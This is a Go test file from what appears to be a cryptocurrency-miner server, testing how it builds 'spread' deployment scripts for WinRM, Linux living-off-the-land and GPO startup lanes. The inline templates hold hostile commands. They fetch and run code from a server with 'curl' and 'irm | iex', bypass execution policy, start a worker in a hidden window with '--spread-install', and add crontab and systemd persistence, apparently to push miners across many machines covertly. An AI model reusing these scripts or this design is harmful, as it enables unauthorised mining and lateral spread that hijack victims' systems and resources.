Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
181 lines
5.6 KiB
Go
181 lines
5.6 KiB
Go
package api
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
func writeDeploySpreadTemplates(t *testing.T, root string) {
|
|
t.Helper()
|
|
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
|
|
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
winrmScript := `# WinRM bootstrap
|
|
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
|
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
|
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
|
powershell.exe -EncodedCommand $encoded
|
|
`
|
|
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
|
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
linuxScript := `#!/bin/sh
|
|
LOTL_MODE='{{LOTL_MODE}}'
|
|
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
|
|
systemd-run --user --unit=aetherforge-worker.service
|
|
persist_crontab() { crontab -; }
|
|
`
|
|
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
|
if err := os.MkdirAll(entDir, 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
gpoScript := `# GPO computer startup script
|
|
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
|
$env:AETHER_DEFER_MINING = '1'
|
|
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
|
`
|
|
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
}
|
|
|
|
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
|
|
cases := map[string]struct {
|
|
subdir string
|
|
zip string
|
|
}{
|
|
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
|
|
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
|
|
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
|
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
|
}
|
|
for tpl, want := range cases {
|
|
subdir, zip, err := spreadTemplatePaths(tpl)
|
|
if err != nil {
|
|
t.Fatalf("%q: %v", tpl, err)
|
|
}
|
|
if subdir != want.subdir || zip != want.zip {
|
|
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
|
|
}
|
|
}
|
|
_, _, err := spreadTemplatePaths("bogus-lane")
|
|
if err == nil || !strings.Contains(err.Error(), "unknown template") {
|
|
t.Fatalf("err=%v", err)
|
|
}
|
|
}
|
|
|
|
func TestDeployPlanWinRMLane(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeDeploySpreadTemplates(t, root)
|
|
h := testDeployPlanHandlerWithRoot(t, root)
|
|
plan, err := h.buildPlan(deployPlanRequest{
|
|
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
|
|
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if plan.JoinLane != "winrm" || plan.Script == "" {
|
|
t.Fatalf("plan=%+v", plan)
|
|
}
|
|
for _, marker := range []string{
|
|
"http://127.0.0.1:8989/get?os=windows",
|
|
"--spread-install",
|
|
"--defer-mining",
|
|
"Enable-PSRemoting",
|
|
} {
|
|
if !strings.Contains(plan.Script, marker) {
|
|
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDeployPlanGPOLane(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeDeploySpreadTemplates(t, root)
|
|
h := testDeployPlanHandlerWithRoot(t, root)
|
|
plan, err := h.buildPlan(deployPlanRequest{
|
|
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
|
|
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if plan.JoinLane != "gpo" || plan.Script == "" {
|
|
t.Fatalf("plan=%+v", plan)
|
|
}
|
|
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
|
|
if !strings.Contains(plan.Script, marker) {
|
|
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
|
}
|
|
}
|
|
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
|
|
t.Fatalf("script missing query suffix: %s", plan.Script)
|
|
}
|
|
}
|
|
|
|
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
|
|
root := t.TempDir()
|
|
writeDeploySpreadTemplates(t, root)
|
|
h := testDeployPlanHandlerWithRoot(t, root)
|
|
plan, err := h.buildPlan(deployPlanRequest{
|
|
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
|
|
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
|
|
t.Fatalf("plan=%+v", plan)
|
|
}
|
|
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
|
|
if !strings.Contains(plan.Script, marker) {
|
|
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
|
}
|
|
}
|
|
}
|
|
|
|
func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler {
|
|
t.Helper()
|
|
dir := t.TempDir()
|
|
database, err := dbpkg.New(dir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
buildDir := filepath.Join(dir, "builds", "b1")
|
|
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
artifact := filepath.Join(buildDir, "worker.exe")
|
|
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := database.InsertBuild(&models.BuildRecord{
|
|
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
cfgPath := filepath.Join(dir, "config.json")
|
|
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
return NewDeployPlanHandler(database, dir, projectRoot,
|
|
func() string { return "http://127.0.0.1:8989" },
|
|
func() string { return "fleet-test" },
|
|
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
|
)
|
|
}
|